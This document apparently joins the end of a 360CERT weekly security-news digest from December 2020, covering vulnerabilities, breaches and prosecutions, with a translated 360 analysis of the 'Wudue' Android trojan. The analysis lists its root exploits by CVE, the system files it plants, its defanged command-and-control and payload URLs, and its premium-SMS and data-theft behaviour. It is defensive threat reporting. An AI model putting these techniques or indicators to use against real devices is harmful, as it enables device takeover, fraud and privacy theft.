从2016年8月至2018年4月在Cisco工作。离开公司后，他重新获得了对AmazonWebServices上Cisco托管的云基础架构的访问权限，并删除了450多个虚拟机，这给Cisco的Webex客户造成了停机问题。
详情
[Ex-Cisco Engineer Sentenced to 2 Years in Prison for
Hacking](https://www.databreachtoday.com/ex-cisco-engineer-sentenced-to-2-years-in-prison-for-hacking-a-15564)
### WordPress插件0day使成千上万的网站受到黑客攻击
日期: 2020年12月12日
等级: 高
作者: Pierluigi Paganini
标签: Easy WP SMTP, WordPress, 0day
黑客正积极利用流行的 `WordPress` 插件 `EasyWPSMTP`
中的0day漏洞来重置管理员帐户的密码。该插件安装在超过500000个站点上，尽管安全补丁已经发布，但是许多站点还没有被修补。WP-SMTPWordPress插件允许您通过SMTP服务器配置和发送所有传出的电子邮件，防止电子邮件进入收件人的垃圾邮件/垃圾邮件文件夹。
详情
[WordPress Easy WP SMTP zero-day potentially exposes hundreds of thousands of
sites to hack](https://securityaffairs.co/wordpress/112218/hacking/easy-wp-smtp-wordpress-plugin-flaw.html)
### 俄罗斯黑客利用新的VMware漏洞窃取数据
日期: 2020年12月07日
等级: 中
作者: Sergiu Gatlan
标签: NSA, Russian, VMware, CVE-2020-4006, Webshell, Vulnerability
美国国家安全局(NSA)警告称，俄罗斯政府支持的黑客正在利用最近修补过的VMware漏洞，在易受攻击的服务器上部署webshell，以窃取敏感信息。
美国国防部情报机构说：“国家安全局鼓励国家安全系统（NSS），国防部（DoD）和国防工业基地（DIB）网络管理员优先考虑缓解受影响服务器上的漏洞。”
CVE-2020-4006最初被评为严重漏洞，但VMware在发布补丁后，公开了利用限制：需要配置程序管理员帐户的有效密码。之后将评级从严重级别降低至高危。
详情
[NSA: Russian state hackers exploit new VMware vulnerability to steal
data](https://www.bleepingcomputer.com/news/security/nsa-russian-state-hackers-exploit-new-vmware-vulnerability-to-steal-data/)
### 伪造的数据泄露告警用于窃取Ledger加密货币钱包
日期: 2020年12月10日
等级: 中
作者: Lawrence Abrams
标签: Ledger, Fake Data Breach, Phishing, Cryptocurrency, Email
一个网络钓鱼活动正在进行，该网络钓鱼攻击针对Ledger钱包用户，发送带有伪造的数据泄露通知，用于从收件人那里窃取加密货币。
Ledger是一个硬件加密货币钱包，可让用户存储，管理和出售加密货币。
从2020年10月开始，Ledger用户开始收到来自Ledger的有关数据泄露的虚假电子邮件。
电子邮件中指出，用户已受到违规行为的影响，因此他们应该安装最新版本的LedgerLive，以使用新的密码保护其资产。
详情
[Fake data breach alerts used to steal Ledger cryptocurrency
wallets](https://www.bleepingcomputer.com/news/security/fake-data-breach-alerts-used-to-steal-ledger-cryptocurrency-wallets/)
### Facebook追踪APT32 OceanLotus黑客到越南的IT公司
日期: 2020年12月10日
等级: 中
作者: The Hacker News
标签: Facebook, OceanLotus, Vietnam, APT, CyberOne Group
Facebook的网络安全研究人员正式将越南APT组织 `海莲花`
与该国的一家IT公司联系起来，因为该组织被发现滥用其平台入侵人们的账户并分发恶意软件，自2012年以来，这些间谍活动的目标是促进越南的战略利益。Facebook安全政策负责人纳撒尼尔·格莱彻（NathanielGleicher）和网络威胁情报经理迈克·德维利亚斯基（MikeDvilyanski）称：“调查将APT32与越南的一家IT公司CyberOneGroup（也称为CyberOneSecurity、CyberOneTechnologies、HánhTinhcompanyLimited、PlanetandDiacauso）有关。”
详情
[Facebook Tracks APT32 OceanLotus Hackers to IT Company in
Vietnam](https://thehackernews.com/2020/12/facebook-tracks-apt32-oceanlotus.html)
### CISA和FBI警告称黑客攻击K-12远程教育
日期: 2020年12月11日
等级: 中
作者: Pierluigi Paganini
标签: FBI, K-12, Distance Learning Education
美国 `CISA` 和 `FBI` 警告称，针对美国 `K-12`
教育部门的勒索软件攻击有所增加，目的是窃取数据和破坏远程教育服务。攻击事件在2020学年初激增。美国FBI、CISA和MS-ISAC评估，黑客的目标是幼儿园到12年级（K-12）的教育机构。CISA发布的警告称，预计此类攻击将持续到2020-2021学年。
详情
[Threat actors target K-12 distance learning education, CISA and FBI
warn](https://securityaffairs.co/wordpress/112194/malware/k-12-cisa-fbi-alert.html)
### 相关安全建议
1\. 做好资产收集整理工作，关闭不必要且有风险的外网端口和服务，及时发现外网问题
2\. 积极开展外网渗透测试工作，提前发现系统问题
3\. 强烈建议数据库等服务放置在外网无法访问的位置，若必须放在公网，务必实施严格的访问控制措施
4\. 建议加大口令强度，对内部计算机、网络服务、个人账号都使用强口令
5\. 及时对系统及各个服务组件进行版本升级和补丁更新
6\. 包括浏览器、邮件客户端、vpn、远程桌面等在内的个人应用程序，应及时更新到最新版本
7\. 减少外网资源和不相关的业务，降低被攻击的风险
8\. 做好产品自动告警措施
## 0x05 其它事件
### 数以百万计的物联网设备面临TCP/IP堆栈漏洞的风险
日期: 2020年12月07日
等级: 高
作者: Jeremy Kirk
标签: IoT, RCE, TCP/IP, Stack, Amnesia:33
数以百万计的消费者和企业IoT设备在其TCP/IP堆栈中存在软件漏洞，该漏洞会导致远程代码执行、拒绝服务或者完全接管设备。 `Forescout`
将该漏洞称为 `Amnesia:33` 。多达150个供应商的设备可能会受到攻击。
这些漏洞影响了各种各样的嵌入式系统，包括医疗设备、工业控制系统、路由器和交换机，实际上是任何运行脆弱的TCP/IP协议栈的设备。
受影响的设备的最大类别是企业和消费者物联网设备。
详情
[Millions of IoT Devices at Risk From TCP/IP Stack
Flaws](https://www.databreachtoday.com/millions-iot-devices-at-risk-from-tcpip-stack-flaws-a-15529)
### 严重的MDHexRay漏洞影响100多种医疗成像系统
日期: 2020年12月08日
等级: 高
作者: Ionut Ilascu
标签: GE Healthcare, MDHexRay, Vulnerability, CVE-2020-25179
用于医疗成像设备的GEHealthcare管理软件中存在一个严重漏洞，该漏洞可能使患者的健康隐私受到威胁，甚至可能危及他们的生命。
该漏洞被称为MDHexRay，漏洞编号为CVE-2020-25179。
它影响了该公司十几个产品系列中的100多种CT，X射线，MRI设备模型。
医疗保健网络安全公司CyberMDX发现并命名了该漏洞。研究人员报告了该漏洞，并一直在协助GEHealthcare寻找修复方案。
详情
[Severe MDHexRay bug affects 100+ GE Healthcare imaging
systems](https://www.bleepingcomputer.com/news/security/severe-mdhexray-bug-affects-100-plus-ge-healthcare-imaging-systems/)
### 青少年承认参与2016年震撼互联网的DDoS攻击
日期: 2020年12月10日
等级: 高
作者: Sergiu Gatlan
标签: Mirai, Botnet, DDos, Attack
Mirai僵尸网络背后的一名运营商承认参与了2016年10月造成互联网大规模中断的DDoS攻击。
多家知名网站和在线服务因DDos攻击被关闭，包括亚马逊、PayPal、Visa、Netflix、PlayStationNetwork和Airbnb。
该僵尸网络是Mirai僵尸网络的变体，是由被告在2015年至2016年11月期间在其他人的帮助下开发的，专门用于DDoS攻击游戏平台。
被告在参与攻击时还是一名未成年人。
详情
[Teen who shook the Internet in 2016 pleads guilty to DDoS
attacks](https://www.bleepingcomputer.com/news/security/teen-who-shook-the-internet-in-2016-pleads-guilty-to-ddos-attacks/)
### Microsoft团队报告的零点击可修复RCE漏洞
日期: 2020年12月07日
等级: 高
作者: The Hacker News
标签: RCE, Microsoft, Windows, Oskars Vegeris, Evolution Gaming, Zero-Click, Vulnerability
在微软团队的桌面应用程序中，一个零点击远程代码执行(RCE)漏洞允许攻击者通过发送一条特别编写的聊天消息来执行任意代码，从而危及目标的系统，该漏洞不需要用户交互。
该漏洞最终导致终端用户完全丧失对私人聊天、文件、内部网络、私人密钥和MS团队之外的个人数据的机密性和完整性。
2020年8月31日，EvolutionGaming的安全工程师OskarsVegeris向Windows报告了这个漏洞，然后微软在10月底将其修复。
详情
[Zero-Click Wormable RCE Vulnerability Reported in Microsoft
Teams](https://thehackernews.com/2020/12/zero-click-wormable-rce-vulnerability.html)
### PlayStation修复了严重的远程代码执行漏洞
日期: 2020年12月08日
等级: 高
作者: Pierluigi Paganini
标签: PlayStation Now, Parsia Hakimian, Vulnerability, Remote Code Execution
漏洞赏金猎人ParsiaHakimian发现PlayStationNow(PSNow)云游戏Windows应用程序存在多个安全漏洞，黑客可以在有漏洞的应用程序版本的Windows设备上执行任意代码。
在运行Windows7SP1或更高版本的系统上，这些漏洞影响了PSNow11.0.2和更早的版本。
自PlayStationNow2014年推出以来，订阅人数已超过220万。
详情
[Critical remote code execution fixed in PlayStation
Now](https://securityaffairs.co/wordpress/112049/hacking/playstation-now-rce.html)
### D-linkvpn路由器修复了远程命令注入漏洞
日期: 2020年12月08日
等级: 高
作者: Ionut Ilascu
标签: D-link, VPN, Routers, Remote Command Injection, Vulnerability
D-link是为多个路由器提供VPN直通功能的固件，在D-link中存在一个漏洞，攻击者能够利用该漏洞完全控制设备。
该漏洞会影响运行固件版本3.17或更低版本的路由器型号DSR-150，DSR-250/N，DSR-500和DSR-1000AC。
数字防御漏洞研究团队2020年8月11日报告称，该漏洞是root命令注入，如果可以通过公共互联网访问设备的“统一服务路由器”web接口，就可以远程利用该漏洞。
详情
[D-Link VPN routers get patch for remote command injection
bugs](https://www.bleepingcomputer.com/news/security/d-link-vpn-routers-get-patch-for-remote-command-injection-bugs/)
### 微软2020年12月12日的补丁日修补了58个漏洞
日期: 2020年12月08日
等级: 高
作者: Catalin Cimpanu
标签: Microsoft, Patch Tuesday, Vulnerability, RCE
微软2020年12月8日发布了针对10多种产品和服务的58个安全补丁，这是微软每月安全更新（称为PatchTuesday）的一部分。
与微软每月发布的常规100多个修补程序相比，2020年12月的修补程序数量较少，但这并不意味着这些漏洞的严重性就没有那么高了。
2020年12月的补丁中有超过三分之一被归类为远程代码执行（RCE）漏洞。这些安全漏洞易于利用，并且无需用户通过Internet或跨本地网络进行交互，危害极大。
详情
[Microsoft December 2020 Patch Tuesday fixes 58
vulnerabilities](https://www.zdnet.com/article/microsoft-december-2020-patch-tuesday-fixes-58-vulnerabilities/)
### Adobe安全更新修复了Lightroom中的严重漏洞
日期: 2020年12月09日
等级: 高
作者: Charlie Osborne
标签: Adobe, Lightroom, Security Update, Vulnerability
`Adobe` 2020年最后一次计划的安全更新修复了 `Lightroom` 、 `Prelude` 和 `ExperienceManager`
中的严重漏洞。`Adobe` 的补丁修复程序于2020年12月8日发布，涉及四个漏洞，其中三个被认为是严重漏洞。 `Adobe`
向奇虎360CERT安全研究员侯敬宜致谢，该研究人员报告了漏洞。
详情
[Adobe security update squashes critical vulnerabilities in Lightroom,
Prelude](https://www.zdnet.com/article/adobe-security-update-squashes-critical-vulnerabilities-in-lightroom-prelude/)
### Apache修复了Struts 2中的代码执行漏洞
日期: 2020年12月09日
等级: 高
作者: Pierluigi Paganini
标签: Apache, Struts2, OGNL, Remote Code Execution
Apache在2020年12月9日发布了安全更新，以解决 `Struts2` 中与 `OGNL` 技术有关的远程代码执行漏洞。 如果开发人员使用了
`%{…}` 语法，那么攻击者可以通过构造恶意的 `OGNL` 表达式，引发 `OGNL` 表达式二次解析，最终造成远程代码执行。
该漏洞影响Struts2.0.0到Struts2.5.25，Struts2.5.26的发布修复了这个漏洞。
目前 `Struts2` 在全球均有分布，具体分布如下图，数据来自于 `360 QUAKE`
详情
[Apache Software Foundation fixes code execution flaw in Apache Struts
2](https://securityaffairs.co/wordpress/112089/security/struts-2-flaw.html)
### Starbucks修复了移动平台中发现的远程代码执行漏洞
日期: 2020年12月10日
等级: 高
作者: Charlie Osborne
标签: RCE, Starbucks, HackerOne, Mobile, Vulnerability
Starbucks修复了移动平台中发现远程代码执行漏洞。 由 `Kamil“ko2sec”OnurÖzkaleli`
提交的新漏洞报告于11月5日，并于12月9日公开。该报告描述了在mobile.starbucks.com.sg（面向新加坡用户的平台）上发现的RCE漏洞。
根据这份报告， `ko2sec` 在 `mobile.starbucks.com.sg` 上发现了一个用于处理图像文件的 `.ashx`
上传点。但是，上传点没有限制文件类型的上传，这意味着攻击者滥用这个漏洞可以上传恶意文件并远程执行任意代码。
详情
[Remote code execution vulnerability uncovered in Starbucks mobile
platform](https://www.zdnet.com/article/remote-code-execution-vulnerability-uncovered-in-starbucks-mobile-platform/)
### Valve的Steam服务器漏洞让黑客劫持在线游戏
日期: 2020年12月10日
等级: 高
作者: The Hacker News
标签: Valve, Check Point, Steam, Vulnerability
Valve在线游戏的核心网络库中存在严重漏洞，利用该漏洞，攻击者可以远程让游戏的进程崩溃，甚至控制受影响的第三方游戏服务器。 `Valve`
是一家受欢迎的美国游戏开发商和发行商，旗下拥有游戏软件发行平台 `Steam`
以及《半条命》、《反恐精英》、《传送门》、《胜利之日》、《军团要塞》、《求生之路》和《Dota》等多款游戏。
详情
[Valve’s Steam Server Bugs Could’ve Let Hackers Hijack Online
Games](https://thehackernews.com/2020/12/valves-steam-server-bugs-couldve-let.html)
### Cisco修复了Jabber里的代码执行漏洞
日期: 2020年12月10日
等级: 高
作者: Sergiu Gatlan
标签: Cisco, RCE, Cisco Jabber, Wormable, Vulnerability
Cisco已经修复了一个严重的远程代码执行（RCE）漏洞，该漏洞影响了适用于Windows，macOS和移动平台的多个版本的CiscoJabber。Watchcom的研究人员发现了这个可蠕虫的RCE漏洞。
CiscoJabber是使用Chromium嵌入式框架（CEF）构建的即时消息和网络会议桌面应用程序。
详情
[Cisco fixes new Jabber for Windows critical code execution
bug](https://www.bleepingcomputer.com/news/security/cisco-fixes-new-jabber-for-windows-critical-code-execution-bug/)
### QNAP修复了能接管NAS设备的严重漏洞
日期: 2020年12月07日
等级: 中
作者: Sergiu Gatlan
标签: NAS, QNAP, XSS, Command Injection , Vulnerability
网络附加存储（NAS）制造商QNAP2020年12月7日发布了安全更新，修复了一个严重漏洞，攻击者能够在成功利用该漏洞之后控制未修补的NAS设备。
QNAP一共修复了8个能够影响NAS设备的漏洞，这些漏洞包括XSS、命令注入漏洞等。利用命令注入漏洞可以提升权限，在受损设备或应用程序上执行任意命令，并接管底层操作系统。
详情
[QNAP patches QTS vulnerabilities allowing NAS device
takeover](https://www.bleepingcomputer.com/news/security/qnap-patches-qts-vulnerabilities-allowing-nas-device-takeover/)
### 所有Kubernetes版本受到未修复的中间人攻击漏洞的威胁
日期: 2020年12月08日
等级: 中
作者: Sergiu Gatlan
标签: Kubernetes, MiTM, Vulnerability, Google
Kubernetes中存在一个漏洞，该漏洞可能使攻击者能够利用中间人（MiTM）攻击拦截来自其他集群中的流量，Kubernetes产品安全委员会已提供有关暂时阻止攻击者利用漏洞的建议。
Kubernetes（又名K8s）最初由Google开发，现在由CloudNativeComputingFoundation维护，是一个开源系统，旨在帮助主机集群上的自动化部署。
该漏洞编号为CVE-2020-8554，漏洞等级为中危，由Anevia的EtienneChampetier报告。
详情
[All Kubernetes versions affected by unpatched MiTM
vulnerability](https://www.bleepingcomputer.com/news/security/all-kubernetes-versions-affected-by-unpatched-mitm-vulnerability/)
### OpenSSL存在严重漏洞，请立即更新
日期: 2020年12月08日
等级: 中
作者: Pierluigi Paganini
标签: OpenSSL, TLS, SSL, Dos, Null Pointer
OpenSSL项目警告称TLS/SSL工具包中存在严重的安全漏洞，该漏洞让用户容易受到拒绝服务（DoS）攻击，造成的原因是空指针取消引用。
该漏洞由Google研究人员DavidBenjamin报告。
详情
[OpenSSL is affected by a ‘High Severity’ security flaw, update it
now](https://securityaffairs.co/wordpress/112085/security/openssl-tls-ssl-toolkit-flaw.html)
### 比特币交易所运营商被判5年监禁
日期: 2020年12月08日
等级: 中
作者: Akshaya Asokan
标签: Russian, France, Bitcoin, Prison, BTC-e
俄罗斯公民亚历山大·文尼克（AlexanderVinnik）创立了BTC-e加密货币交易所，目前已经倒闭。
2020年12月7日他由于洗钱被判处五年监禁，并必须支付10万欧元（12万美元）的罚款。
据美联社报道，尽管法国法院认定Vinnik犯有洗钱罪，但一名法官洗清了对这位41岁男子的勒索和与犯罪集团有关联的额外指控。
详情
[Bitcoin Exchange Operator Sentenced to 5 Years in
Prison](https://www.databreachtoday.com/bitcoin-exchange-operator-sentenced-to-5-years-in-prison-a-15546)
### Google开源了Atheris，一个在Python代码中查找安全漏洞的工具
日期: 2020年12月09日
等级: 中
作者: Catalin Cimpanu
标签: Google, Fuzz, Atheris, Python, Vulnerabilities
Google的安全专家已经开源了另一个Fuzz测试工具，以希望开发人员可以在发现漏洞之前先使用它来发现安全漏洞并且修复漏洞。
fuzzer(或fuzzing工具)和fuzzing技术通过向软件应用程序提供大量随机数据并分析其输出的异常和崩溃，从而给开发人员提示应用程序代码中可能存在异常的位置。
自2013年以来，Google安全研究人员创建并开源了多个Fuzz测试工具，包括OSS-Fuzz，Syzkaller，ClusterFuzz，Fuzzilli和BrokenType之类的工具。
详情
[Google open-sources Atheris, a tool for finding security bugs in Python
code](https://www.zdnet.com/article/google-open-sources-atheris-a-tool-for-finding-security-bugs-in-python-code/)
### 黑客使用WinZip不安全的服务器连接恶意软件
日期: 2020年12月10日
等级: 中
作者: Ionut Ilascu
标签: WinZip, Malware, macOS, Android, iOS
某些版本的WinZip文件压缩工具中的服务器与客户端通信是不安全的，可能会被修改为向用户提供恶意软件或诈骗内容。
该工具最初发布于大约30年前，现在已经有macOS、Android和iOS版本，以及增加协作特性的企业版。
据其网站显示，该应用程序的下载量超过10亿次。
WinZip当前的版本为25，但是较早的版本存在漏洞，可能被恶意攻击者利用。
详情
[Hackers can use WinZip insecure server connection to drop
malware](https://www.bleepingcomputer.com/news/security/hackers-can-use-winzip-insecure-server-connection-to-drop-malware/)
### Sophos修复了Cyberoam OS中的SQL注入漏洞
日期: 2020年12月10日
等级: 中
作者: Lawrence Abrams
标签: Sophos, Cyberoam, SQL, Vulnerability, Fix
Sophos已为其Cyberoam防火墙和路由器部署了一个修补程序，以修复SQL注入漏洞。
Sophos于2014年收购了防火墙和路由器制造商CyberoamTechnologies，自2019年以来一直免费提供其XGFirewallOS的升级。
2020年12月10日，Sophos透露，Cyberoam（CROS）操作系统中修复了一个SQL注入漏洞，该漏洞可以远程向CROS设备添加帐户。
详情
[Sophos fixes SQL injection vulnerability in their Cyberoam
OS](https://www.bleepingcomputer.com/news/security/sophos-fixes-sql-injection-vulnerability-in-their-cyberoam-os/)
### Glassdoor公司审查平台发现严重CSRF漏洞
日期: 2020年12月11日
等级: 中
作者: Charlie Osborne
标签: Glassdoor, CSRF, BugBounty
Glassdoor是一个求职和发布匿名公司评论的网站，被曝出了一个会被利用来接管账户的严重CSRF问题。这可能包括在雇主帐户上建立新的管理员，删除求职者和雇主的信息，添加虚假评论，删除简历，以及发布、申请和删除工作清单，严重性评分为9-10。
详情
[Critical CSRF vulnerability found on Glassdoor company review
platform](https://www.zdnet.com/article/cross-site-request-forgery-vulnerability-found-on-glassdoor-job-hunter-review-platform/)
### NI CompactRIO控制器漏洞可能导致生产中断
日期: 2020年12月12日
等级: 中
作者: Pierluigi Paganini
标签: National Instruments, CompactRIO, IIoT, CVE-2020-25191
NationalInstrumentsCompactRIO控制器中存在一个严重漏洞，允许远程攻击者破坏组织中的生产过程。该漏洞被追踪为
`CVE-2020-25191`
，影响20.5之前的驱动程序版本。NationalInstrumentsCompactRIO产品是一款坚固耐用的实时控制器，可提供高性能的处理能力、特定于传感器的条件输入/输出以及紧密集成的软件工具链，使其成为工业物联网（IIoT）、监控和控制应用的理想之选。
详情
[NI CompactRIO controller flaw could allow disrupting
production](https://securityaffairs.co/wordpress/112228/ics-scada/ni-compactrio-flaw.html)
### 相关安全建议
1\. 及时对系统及各个服务组件进行版本升级和补丁更新
2\. 包括浏览器、邮件客户端、vpn、远程桌面等在内的个人应用程序，应及时更新到最新版本
3\. 受到网络攻击之后，积极进行攻击痕迹、遗留文件信息等证据收集
## 0x06 产品侧解决方案
### 360城市级网络安全监测服务
360CERT的安全分析人员利用360安全大脑的QUAKE资产测绘平台(quake.360.cn)，通过资产测绘技术的方式，对该漏洞进行监测。可联系相关产品区域负责人或(quake#360.cn)获取对应产品。
### 360安全分析响应平台
360安全大脑的安全分析响应平台通过网络流量检测、多传感器数据融合关联分析手段，对网络攻击进行实时检测和阻断，请用户联系相关产品区域负责人或(shaoyulong#360.cn)获取对应产品。
### 360安全卫士
针对以上安全事件，360cert建议广大用户使用360安全卫士定期对设备进行安全检测，以做好资产自查以及防护工作。
## 0x07 时间线
2020-12-16 360CERT发布安全事件周报
## 0x08 特制报告下载链接
一直以来，360CERT对全球重要网络安全事件进行快速通报、应急响应。为更好地为政企用户提供最新漏洞以及信息安全事件的安全通告服务，现360CERT正式推出安全通告特制版报告，以便用户做资料留存、传阅研究与查询验证。
用户可直接通过以下链接进行特制报告的下载。
[安全事件周报 (12.07-12.13)](http://pub-shbt.s3.360.cn/cert-public-file/%E3%80%90360CERT%E3%80%91%E5%AE%89%E5%85%A8%E4%BA%8B%E4%BB%B6%E5%91%A8%E6%8A%A5_12%E6%9C%8807%E6%97%A5-12%E6%9C%8813%E6%97%A5.pdf)
若有订阅意向与定制需求请发送邮件至 g-cert-report#360.cn ，并附上您的 公司名、姓名、手机号、地区、邮箱地址。 | 社区文章 |
# “舞毒蛾”木马演变报告
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：[http://blogs.360.cn/360mobile/2016/03/08/analysis_of_wudue/?from=timeline&isappinstalled=0](http://blogs.360.cn/360mobile/2016/03/08/analysis_of_wudue/?from=timeline&isappinstalled=0)
译文仅供参考，具体内容表达以及含义原文为准。
**作者：360移动安全团队**
**一、概述**
近期，360移动安全团队监测到一款云控木马正在集中爆发。该木马家族最早于2015年2月被360移动安全团队捕获，目前已经累计样本超过1.2万个。由于该木马有多个版本演变并会下载多个恶意文件执行恶意行为，我们将该木马命名为“舞毒蛾”。
“舞毒蛾”木马是一个典型的云控木马，会联网下载恶意代码包并在本地释放提权代码，静默申请手机Root权限，不仅会向系统写入恶意文件，还会注入到系统进程，从而实现隐私窃取，私自下载、静默安装其他应用，频繁弹广告以及私自订阅扣费业务等多种恶意行为，给用户造成隐私泄露和经济损失。
我们研究发现“舞毒蛾”木马演变过程中不断增强自己提权模块的能力，在后期演变中增加了针对三星 Galaxy S6及采用MTK芯片手机的支持。
截至2016年2月底的监测统计数据显示，“舞毒蛾”木马累计感染量高达340余万。其中，三星和OPPP手机用户的感染量最大。
通过搜索引擎能够发现大量中招网友的反馈：
[](https://blogs.360.cn/360mobile/files/2016/03/1-%E6%90%9C%E7%B4%A2%E7%BB%93%E6%9E%9C.png)
**
**
**二、感染量**
1、国内地区感染分布
360移动安全团队监测到从2015年2月到2016年2月底，“舞毒蛾”木马累计感染量高达340余万，国内感染量接近330万，从感染地区分布图中可以看出广东、河南是木马感染的重灾区。
[](https://blogs.360.cn/360mobile/files/2016/03/2-%E5%9B%BD%E5%86%85%E6%84%9F%E6%9F%93%E5%9C%B0%E5%8C%BA%E5%88%86%E5%B8%83%E5%9B%BE.png)
**2、全球地区感染分布**
相对全球地区手机用户，“舞毒蛾”木马主要感染亚洲地区的国家，感染最严重的前三个国家是中国、印度和印度尼西亚。
[](https://blogs.360.cn/360mobile/files/2016/03/3-%E5%85%A8%E7%90%83%E6%84%9F%E6%9F%93%E5%9C%B0%E5%8C%BA%E5%88%86%E5%B8%83%E5%9B%BE.png)
****
**3、感染手机品牌**
从感染的手机厂商数据显示，三星和OPPO是感染最严重的手机品牌。由于“舞毒蛾”木马后期增加了针对三星 Galaxy
S6及采用MTK芯片手机的支持，也是三星和国内主流采用MTK芯片的手机感染量大的原因之一。
[](https://blogs.360.cn/360mobile/files/2016/03/4-%E6%84%9F%E6%9F%93%E6%89%8B%E6%9C%BA%E5%8E%82%E5%95%86.png)
**
**
**三、传播来源**
**1、月增样本变化**
截至到2016年2月底，360移动安全团队共捕获到“舞毒蛾”木马样本1.2万余个，从月捕获样本数量可以看出，“舞毒蛾”在2015年底开始呈现爆发式增长，仅2016年2月期间就捕获到近8000个。
[](https://blogs.360.cn/360mobile/files/2016/03/5-%E6%9C%88%E5%A2%9E%E6%A0%B7%E6%9C%AC%E7%BB%9F%E8%AE%A1.png)
****
**2、传播来源统计**
360移动安全团队研究发现，“舞毒蛾”木马主要借助名称具有诱惑性、图标暴露的色情播放器类恶意软件进行传播，色情播放器名称例如，OXPlayer、无码快播、18禁影院、无码快播、黄色快播、爱爱快播等等，由于色情播放器类恶意软件的数量已达千万级别，因此该木马的传播能力极强。
[](https://blogs.360.cn/360mobile/files/2016/03/6-%E8%89%B2%E6%83%85%E8%A7%86%E9%A2%91%E5%9B%BE%E6%A0%87.png)
统计结果显示，“舞毒蛾”木马主要伪装成热门应用，例如，美图秀秀、小米便签、芒果卫视、天天消消乐、消灭星星等。
[](https://blogs.360.cn/360mobile/files/2016/03/7-%E4%BC%A0%E6%92%AD%E6%9D%A5%E6%BA%90%E5%9B%BE.png)
****
**四、深入分析**
**1、木马流程图**
“舞毒蛾”木马运行后，会联网上传配置信息，请求包含多个恶意文件的核心模块下载地址。在早期的版本中，其还会本地释放核心模块。
[](https://blogs.360.cn/360mobile/files/2016/03/8-%E6%B5%81%E7%A8%8B%E5%9B%BE.png)
**
**
****
**2、核心模块功能**
360移动安全团队分析发现，“舞毒蛾”木马的核心模块共包含了八大功能。其中包括获取Root，篡改系统文件、恶意扣费、隐私窃取、恶意广告、静默下载安装其他应用六大恶意行为。同时，该木马还通过检测运行环境，监控文件变化进行自我保护；联网更新来实现功能升级。
[](https://blogs.360.cn/360mobile/files/2016/03/9-%E6%A0%B8%E5%BF%83%E6%A8%A1%E5%9D%97%E5%8A%9F%E8%83%BD%E5%9B%BE.png)
**1）获取Root**
“舞毒蛾”木马会加载Root提权模块libgetroot.so，尝试利用多个系统漏洞，以获取Root权限。
[](https://blogs.360.cn/360mobile/files/2016/03/10-%E8%8E%B7%E5%8F%96root.png)
**2）篡改系统文件**
创建以下文件及目录：
* /system/bin/xsxux
* /system/xbin/xsxux
* /system/bin/droidamd
* /system/etc/droidamd
* /system/bin/droiddbg
* /system/etc/debuggerd
* /data/andobs/ob
* /data/andobs/ob.jar
* /data/andcort/cort
* /data/andcort/cort.jar
* /data/droidamd/droidget
* /data/droidamd/lock
* /data/droidamd/wlog
* /data/droidamd/tmp
修改系统文件：
* /system/etc/install-recovery.sh
**
**
**3）恶意扣费**
释放libmms.jar、libmms.so及inject，并注入phone进程实现发送和屏蔽短信的功能。
[](https://blogs.360.cn/360mobile/files/2016/03/11-%E6%B3%A8%E5%85%A5phone%E8%BF%9B%E7%A8%8B.png)
屏蔽短信列表
[](https://blogs.360.cn/360mobile/files/2016/03/12-%E5%B1%8F%E8%94%BD%E5%88%97%E8%A1%A8.png)
**4）恶意广告**
“舞毒蛾”木马释放的恶意文件潜伏在系统应用中，频繁弹出全屏广告，严重干扰手机正常使用。
[](https://blogs.360.cn/360mobile/files/2016/03/13-%E6%81%B6%E6%84%8F%E5%B9%BF%E5%91%8A.png)
**5）自我保护**
“舞毒蛾”木马还会检查运行环境，试图对抗沙箱检测。
[](https://blogs.360.cn/360mobile/files/2016/03/14-%E6%A3%80%E6%B5%8B%E8%BF%90%E8%A1%8C%E7%8E%AF%E5%A2%83.png)
另外，还会创建自我保护线程，通过inotify_add_watch()监控”/system/bin”、”/system/etc”、”
/system/app”目录下文件变化，防止被删除。
[](https://blogs.360.cn/360mobile/files/2016/03/15-inotify_add_watch.png)
**6）下载安装**
“舞毒蛾”木马访问[www[.]abcdododo[.]com/a/andob/getdata.php](http://www.abcdododo.com/a/andob/getdata.php)
获取服务器指令，服务器指令经过异或算法解密后可以得到恶意软件的下载地址：[hxxp://120[.]26[.]129[.]140/android/rootapk/andob/app.zip](http://120.26.129.140/android/rootapk/andob/app.zip)。
[](https://blogs.360.cn/360mobile/files/2016/03/16-%E4%B8%8B%E8%BD%BD%E6%81%B6%E6%84%8F%E8%BD%AF%E4%BB%B6.png)
静默安装应用
[](https://blogs.360.cn/360mobile/files/2016/03/17-%E9%9D%99%E9%BB%98%E5%AE%89%E8%A3%85.png)
**7）窃取隐私**
“舞毒蛾”木马会窃取隐私，上传用户手机号码、IMEI、IMSI以及其他固件信息。
[](https://blogs.360.cn/360mobile/files/2016/03/18-1%E9%9A%90%E7%A7%81%E7%AA%83%E5%8F%96_mask.png)
**8）联网更新**
联网下载加密的核心模块，本地进行解密，从而实现自我更新。
[](https://blogs.360.cn/360mobile/files/2016/03/19-1%E8%81%94%E7%BD%91%E6%9B%B4%E6%96%B0_mark.png)
**
**
**3、核心模块演变**
360移动安全团队从“舞毒蛾”木马核心模块下载地址的变化，发现该木马核心模块五个典型的版本变化。
**1）不同版本时间轴**
通过对首个捕获的“舞毒蛾”木马样本持续关注，结合其下载地址的变化，我们在2015年底发现了后续的三个版本。值得一提的是，在今年年初发现的版本5，其下载地址变化更加有规律性，增加了日期信息。版本5虽然核心模块功能基本一致，但是更新更加频繁，几乎每天都在进行文件更新。
[](https://blogs.360.cn/360mobile/files/2016/03/20-%E6%97%B6%E9%97%B4%E8%BD%B4.jpg)
**2）不同版本差异**
木马作者从开发版本1到版本5的过程中，进行了多方面的改进。在木马对抗方面，对核心模块的隐藏方法进行不断升级；在木马恶意功能方面，随着释放文件个数的增加，执行的恶意行为更加全面；在木马结构方面，结构更加复杂，各模块间实现功能替补，相互保护。
[](https://blogs.360.cn/360mobile/files/2016/03/21-%E7%89%88%E6%9C%AC%E5%AF%B9%E6%AF%94%E8%A1%A8.png)
**
**
**3）提权漏洞**
“舞毒蛾”木马演变过程中不断增强自己提权模块的能力，最初的版本仅使用了：
* VROOT –CVE-2013-6282[[1](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-6282)]
* TowelRoot –CVE-2014-3153[[2](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3153)]
后续版本增加了针对三星Galaxy S6及采用MTK芯片手机的漏洞利用模块：
* PingPongRoot –CVE-2015-3636[[3](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3636)]
